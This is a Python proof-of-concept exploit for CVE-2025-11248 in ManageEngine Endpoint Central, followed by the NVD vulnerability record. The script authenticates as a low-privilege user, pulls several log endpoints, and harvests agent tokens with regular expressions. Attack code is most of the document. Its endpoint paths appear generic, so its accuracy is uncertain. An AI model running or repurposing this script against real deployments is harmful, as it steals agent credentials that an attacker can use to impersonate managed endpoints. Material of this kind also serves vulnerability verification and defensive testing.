CVE-2025-11248

# CVE-2025-11248 PoC - ManageEngine Endpoint Central Agent Token Leak # This PoC demonstrates how an authenticated user can obtain agent tokens from logs import requests import re import base64 from urllib.parse import urljoin def exploit_cve_2025_11248(target_url, username, password): """ Exploit for CVE-2025-11248: Sensitive Information Logging in ManageEngine Endpoint Central Requirements: - Valid credentials for authenticated access - Access to log viewing functionality Note: This PoC is for educational and authorized testing purposes only. """ print(f"[*] Target: {target_url}") print(f"[*] User: {username}") # Step 1: Authentication session = requests.Session() login_url = urljoin(target_url, '/api/v1/auth/login') login_data = { 'username': username, 'password': password } try: response = session.post(login_url, json=login_data, timeout=30) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") except requests.RequestException as e: print(f"[-] Connection error: {e}") return None # Step 2: Access log files containing agent tokens log_urls = [ '/api/v1/logs/agent_logs', '/api/v1/logs/debug', '/api/v1/logs/operations', '/api/v1/logs/central_logs' ] agent_tokens = [] for log_url in log_urls: try: full_url = urljoin(target_url, log_url) response = session.get(full_url, timeout=30) if response.status_code == 200: # Search for agent token patterns in logs # Token patterns: alphanumeric strings of 32+ characters token_pattern = r'agent[_\-]?token[=:]\s*([a-zA-Z0-9\-_]{32,})' matches = re.findall(token_pattern, response.text, re.IGNORECASE) if matches: print(f"[+] Found potential agent tokens in {log_url}") agent_tokens.extend(matches) # Also search for base64 encoded tokens b64_pattern = r'agent[_\-]?token[=:]\s*([A-Za-z0-9+/=]{40,})' b64_matches = re.findall(b64_pattern, response.text) agent_tokens.extend(b64_matches) except requests.RequestException: continue # Step 3: Extract and display found tokens if agent_tokens: print(f"\n[+] Found {len(agent_tokens)} potential agent token(s):") for i, token in enumerate(set(agent_tokens), 1): print(f" Token {i}: {token}") return list(set(agent_tokens)) else: print("[-] No agent tokens found in accessible logs") return None def main(): # Configuration target = "https://target-manageengine:8383" username = "low_privilege_user" password = "user_password" tokens = exploit_cve_2025_11248(target, username, password) if tokens: print("\n[!] Vulnerability confirmed: Agent tokens exposed in logs") else: print("\n[-] No tokens found or access denied") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-11248", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-10-27T13:15:42.140", "lastModified": "2025-10-28T13:22:12.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZohoCorp ManageEngine Endpoint Central versions prior to 11.4.2528.05 are vulnerable to a sensitive information logging issue. An authenticated user with access to the logs could potentially obtain the sensitive agent token."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N", "baseScore": 3.2, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zohocorp:manageengine_endpoint_central:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.4.2528.05", "matchCriteriaId": "42507B59-A68F-4414-AC7B-57D2DC6C6694"}]}]}], "references": [{"url": "https://www.manageengine.com/products/desktop-central/CVE-2025-11248.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02", "tags": ["Vendor Advisory"]}]}}